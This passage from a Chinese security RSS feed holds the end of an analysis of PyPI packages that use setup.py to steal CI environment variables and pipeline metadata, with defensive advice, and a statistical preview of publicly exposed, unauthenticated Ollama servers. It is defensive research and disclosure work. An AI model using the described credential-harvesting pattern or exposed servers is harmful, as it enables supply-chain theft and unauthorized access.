&#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pylibcugraphops</span></code><span leaf="">包名接近真实 CUDA / cuGraph 生态组件，描述信息中显示该包为依赖测试。如果这个包被攻击者使用依赖攻击来下载使用，将非常难以检测排查。这些恶意软件包针对的目标受众可能为高性能计算CI环境，一旦被攻破，其中的模型权重、私有数据、商业算法等高价值的内容都可能遭到窃取。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. 防御与缓解建议</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对 CI/CD 环境中存在的恶意依赖投毒风险，应从依赖完整性校验、运行环境权限控制、构建阶段动态监控以及供应链威胁检测四个方面构建系统化防护体系。</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">依赖完整性校验：</span></strong><p><span leaf=""> 对第三方依赖实施版本与哈希锁定，结合 pip install –require-hashes 机制，并统一使用受控的软件仓库，防止恶意包混入构建流程。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">运行环境最小权限化：</span></strong><p><span leaf=""> 遵循最小权限原则，避免默认注入高权限访问令牌，对 CI 任务实施分级授权，并将构建节点与生产环境进行隔离，降低凭据泄露带来的扩散风险。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">构建阶段动态监控：</span></strong><p><span leaf=""> 对 pip install 过程进行实时监控，重点检测 setup.py 中的环境变量扫描、网络外联和可疑命令执行行为，实现对攻击的早期发现与阻断。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">供应链威胁检测：</span></strong><p><span leaf=""> 结合静态分析与动态检测技术，构建面向 CI/CD 场景的检测机制，通过 AST 解析识别恶意安装脚本行为，实现对 CI 定向恶意包的自动化防护。</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. 结论</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们系统分析了三个针对 CI/CD 生态的 PyPI 恶意包样本，揭示了一类高度隐蔽、定向性强的软件供应链攻击模式。攻击者通过在 setup.py 中嵌入恶意逻辑，实现对 CI 运行环境的自动化信息收集，重点窃取构建流水线元数据与敏感环境变量，从而为后续的定向攻击、凭据滥用与潜在的供应链渗透提供关键情报基础。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该攻击范式对现代 DevOps 架构构成严峻挑战，尤其在高度自动化的构建环境中，信息窃取行为本身即可引发严重的安全连锁反应，亟需在依赖管理、CI 运行权限控制以及自动化威胁检测等层面构建系统性防御机制。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=132c5a0a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489049%26idx%3D1%26sn%3D18d9b2523cc0676276d45ff98f2a77ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Feb 2026 17:06:00 +0800</pubDate>
    </item>
    <item>
      <title>《Ollama网络安全态势监测2025年度报告》预览版</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489043&amp;idx=1&amp;sn=80351b3695f8dd0916a801f24bd1941c</link>
      <description>2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露公网暴露的Ollama服务（默认端口114</description>
      <content:encoded><![CDATA[<p><span>AOSP实验室</span> <span>2026-02-26 16:49</span> <span style="display: inline-block;">北京</span></p>




  <p>以下文章来源于：AOSP实验室</p>
  <strong>AOSP实验室</strong>
  <p>南开大学AOSP实验室，聚焦多元化安全与隐私研究，涵盖网络安全、Web安全、大模型安全及新兴安全风险等方向，致力于提升网络技术与大模型融合场景下的整体安全性，并通过原创性研究成果持续服务与支撑安全社区发展。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fdaec1cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI5P6NLY2q6XF9owZWSjEbnakgdNm1nl0lFCueyKnITmwkWMyHdlrrYvicCR4NRyFic0Dh2jDaiao1SnZVMhKLj3a87U1iaBzEvsRoSyPoSZHibicE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="0 0 []" style="margin-top: 0px;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14994934143870314" data-type="png" data-w="987" data-width="987" data-height="148" data-imgfileid="100000038" src="https://wechat2rss.xlab.app/img-proxy/?k=53133ce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6W3AHxYuiagkBA4aD0OQnerlHEoibnlZQ8tlr4f83EDtXJtgYibwPHsvLS9mibdTZUzhq0iblntUABVA4ib9QeYPex6pcQtVQsVQXS94%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露</span><span textstyle="" style="font-size: 14px;font-style: italic;">公网暴露的Ollama服务（默认端口11434）</span><span textstyle="" style="font-size: 14px;">存在未授权访问风险，并推动安全预警发布。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">此后，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">基于自主研发的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: bold;font-style: normal;text-decoration: underline;">XMap</span><span textstyle="" style="font-size: 14px;">全网扫描器，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">我们开展了为期一年的持续监测，对Ollama公网暴露规模、生态演化与基础设施安全状况进行系统观测与分析。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在</span><span textstyle="" style="font-size: 14px;font-weight: bold;">南开大学、奇安信技术研究院与清华大学研究团队</span><span textstyle="" style="font-size: 14px;">的共同研究下，最终形成《Ollama网络安全态势监测2025年度报告》。综合分析表明：</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;text-decoration: underline;">Ollama 公网暴露规模仍处于增长阶段，生态复杂度持续上升，节点流动性显著增强，整体基础设施呈现高度云化特征，同时 TLS 配置与安全治理水平仍存在进一步优化空间。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 14px;">值此漏洞披露一周年之际，现发布报告预览版，以期推动相关服务安全加固，并促进大模型与网络安全交叉领域的研究发展。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.23434535104364326" data-s="300,640" data-type="png" data-w="1054" type="block" data-imgfileid="100000065" src="https://wechat2rss.xlab.app/img-proxy/?k=0e183ae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6XuHfrBMLy5mfFCNlibRNymsvVticpW42joyQrA1UdesCs4TAPpptAiaLFVGPSAHOFQicCwaRKeAKUqAmK7o0VnawPkSUFZWJb5nH4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 12px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><p style="margin-top: 0px;margin-bottom: 14px;"><hr style="border: 0;border-top: 1px solid rgba(113, 26, 95, 0.35);margin: 0 12px;"/></p><div style="margin-top: 8px;margin-bottom: 20px;margin-left: 10px;margin-right: 10px;padding: 12px 14px;border: 1px solid rgba(113, 26, 95, 0.24);border-radius: 8px;background: transparent;"><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x00年度速览</span></strong></h2><p style="margin-top: 6px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: rgb(113, 26, 95);color: rgb(255, 255, 255);">▸ 年度关键观察</span></span></p><p style="margin: 10px 16px 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从全年观测结果看，公网暴露生态呈现出“规模增长与结构分化并行”的演化态势。活跃暴露节点由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">10,473</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">16,059（+53.34%）</span><span textstyle="" style="font-size: 14px;">，累计暴露规模达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">152,137</span><span textstyle="" style="font-size: 14px;">；日唯一模型数量由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1,797 </span><span textstyle="" style="font-size: 14px;">上升至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,643（+214.02%）</span><span textstyle="" style="font-size: 14px;">，日唯一版本由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">112</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">182（+62.50%），表明生态复杂度持续提升。</span></span></p><p style="margin: 10px 16px 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">在结构层面，头部模型家族仍保持较高集中度，其中 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">llama</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 家族占全年模型事件的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">46.34%</span><span textstyle="" style="font-size: 14px;">，前五大模型家族合计占比达</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">82.47%</span><span textstyle="" style="font-size: 14px;">；与此同时，模型与版本维度的长尾分布持续扩展，显示生态多样性不断增强。节点侧呈现显著高流动性特征：IP 活跃天数中位数仅为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5</span><span textstyle="" style="font-size: 14px;">天，</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">26.44%</span><span textstyle="" style="font-size: 14px;"> 的 IP 仅出现 </span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1</span><span textstyle="" style="font-size: 14px;"> 天，但同时存在少量长期稳定的核心节点（最长活跃</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">358</span><span textstyle="" style="font-size: 14px;">天，共 </span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">3</span><span textstyle="" style="font-size: 14px;"> 个 IP 达到该寿命）。</span></span></p><p style="margin: 10px 16px 18px;text-align: justify;line-height: 1.8em;"><span leaf=""><span textstyle="" style="font-size: 14px;">从地域与网络归属看，CN 与 US 合计占加权暴露规模的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">50.75%</span><span textstyle="" style="font-size: 14px;">，前三国家/地区占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">59.80%</span><span textstyle="" style="font-size: 14px;">，整体集中趋势明显。证书侧观测显示自动化部署已较为普遍，但 TLS 验证通过率仅为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">52.54%</span><span textstyle="" style="font-size: 14px;">，过期证书占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.88%</span><span textstyle="" style="font-size: 14px;">，且仍检测</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 8px 16px; text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;code&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">md5WithRSA与sha1WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">等弱签名算法，反映出基础安全治理水平仍存在明显改进空间。</span></span></p><blockquote style="margin: 10px 16px 18px;padding: 8px 12px;border-left: 3px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.04);border-radius: 0 6px 6px 0;"><p style="margin-top: 0px;margin-bottom: 0px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 12px;">探测链路在少数日期出现网络波动或采集异常，导致局部漏探或解析失败，表现为指标短时突降。缺失日为2025-02-15、2025-05-08、2025-09-27；波动窗口为2025-02-20、2025-04-10~2025-04-13、2025-04-19~2025-04-23、2026-02-11。</span></span></p></blockquote></div><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x01规模与趋势</span></strong></h2><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从全年运行态势看，公网暴露规模整体保持高位波动，平均日活跃暴露约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">13,254</span><span textstyle="" style="font-size: 14px;">，中位数约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">13,160</span><span textstyle="" style="font-size: 14px;">，显示生态规模在全年维持相对稳定水平。从季度变化看，2025年 Q2与 Q3阶段性回落，而在2025年 Q4至2026年 Q1再次出现明显回升，反映出暴露活动具有周期性调整与阶段性扩张特征。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年累计暴露 IP 达</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">152,137</span><span textstyle="" style="font-size: 14px;">，净增长规模为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">+141,664</span><span textstyle="" style="font-size: 14px;">，累计暴露与当前活跃暴露比值约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.47。该指标表明，“历史曾暴露”节点数量远高于持续在线节点规模，生态呈现显著的高更替与高流动特征。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3388888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000052" src="https://wechat2rss.xlab.app/img-proxy/?k=010235a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6Vc6g7okQy4E1OkwJk7R7EKiagvmFBlLYolPv8XeQolibXH2BhCxy6XwCnAtQYxQKt3wCsmENiczouEyt7vRDf3SicImDzHteONLYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3398148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000053" src="https://wechat2rss.xlab.app/img-proxy/?k=9a78ca27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6VlQ1Fgj5qVyib8GWns0iaEvCGEJvoF389F4PmTf8ecz9tSRwibNL8O8IdFFzkuiaes935VWXC5BicbhfNZGw7icjDeUm3DNdewZUmMk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x02生态结构</span></strong></h2><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年模型与版本生态呈现出“规模扩张与结构重排并行”的演进特征。观测期内，日唯一模型峰值达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,654</span><span textstyle="" style="font-size: 14px;">（2026-02-06），日唯一版本峰值达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">182</span><span textstyle="" style="font-size: 14px;">（2026-02-13）。按完整月度对比，模型规模由2025-02的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">4,969</span><span textstyle="" style="font-size: 14px;">增至2026-01的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">8,379（+68.63%）</span><span textstyle="" style="font-size: 14px;">，版本数量由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">119</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">195（+63.87%），表明生态复杂度持续上升。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.425" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000055" src="https://wechat2rss.xlab.app/img-proxy/?k=1cee61ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VpFrhsw1gsEy6mG2ibNnZwYSVNvMsbQt2CJtVBLRyIClGrjK12GfjhMMmhnJPu0GAa5zo59yncwWHiahJRqI7vtAicwU5Vr9emAs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-pm-slice="0 0 []" style="margin-top: 14px;margin-bottom: 8px;line-height: 1.5em;font-size: 18px;font-weight: 600;padding: 4px 0 4px 10px;border-left: 3px solid rgba(113, 26, 95, 0.85);background: rgba(113, 26, 95, 0.06);"><strong><span leaf="">0x02-1全周期事件（2025-02-14至2026-02-13）：</span></strong></h3><p style="margin-top: 4px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: transparent;color: rgb(113, 26, 95);">📎 口径说明</span></span></p><blockquote style="margin: 10px 16px 18px;padding: 8px 12px;border-left: 3px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.04);border-radius: 0 6px 6px 0;"><p style="margin-top: 0px;margin-bottom: 0px;line-height: 1.7em;"><span leaf=""><span textstyle="" style="font-size: 14px;">定义“全周期事件”为：某模型或版本在单日出现在100个活跃节点 IP 上记为100，并对全年逐日累加形成事件总量。</span></span></p></blockquote><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">统计结果显示，Top1模型为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（1,490,205，占7.98%）</span><span textstyle="" style="font-size: 14px;">，Top1家族为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">llama</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（8,654,881，占46.34%）</span><span textstyle="" style="font-size: 14px;">，Top1版本为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.1.33</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（287,829，占6.54%）</span><span textstyle="" style="font-size: 14px;">。Top5占比方面，模型为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">22.33%</span><span textstyle="" style="font-size: 14px;">、家族为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">82.47%</span><span textstyle="" style="font-size: 14px;">、版本为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">24.64%，反映出家族层面高度集中，而模型与版本层面仍保持显著长尾结构。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.28703703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000056" src="https://wechat2rss.xlab.app/img-proxy/?k=03cc5077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VY2ecaaItgug1AbFdVxFUOx8IKJoutfYFeicSF8rRdmUolB8ppCbFMnp1VZXBaUKpJgqEQKn6qyycUJlHM1VbIgLj4AibdjDPbY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从月度主导项演化看，第一模型经历 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-r1:1.5b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> → </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">hermes3:8b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> → </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 的阶段性切换，其中后者自2025-04起长期占据主导地位；版本主线则由 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.5.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 逐步演进至 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.13.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;">，并在2026-02-13日维度首次出现 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);"> 头部版本，显示版本迭代节奏仍在加快。</span></span></p><h3 style="margin-top: 14px;margin-bottom: 8px;line-height: 1.5em;font-size: 18px;font-weight: 600;padding: 4px 0 4px 10px;border-left: 3px solid rgba(113, 26, 95, 0.85);background: rgba(113, 26, 95, 0.06);"><strong><span leaf="">0x02-2最近日快照（2026-02-13）</span></strong></h3><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">截至2026-02-13，当日活跃 IP 为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">16,059</span><span textstyle="" style="font-size: 14px;">，模型数</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,643</span><span textstyle="" style="font-size: 14px;">，版本数</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">182</span><span textstyle="" style="font-size: 14px;">。模型前五分别为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.07%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-v3.1:671b-cloud</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（7.47%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">nomic-embed-text:latest</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.99%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 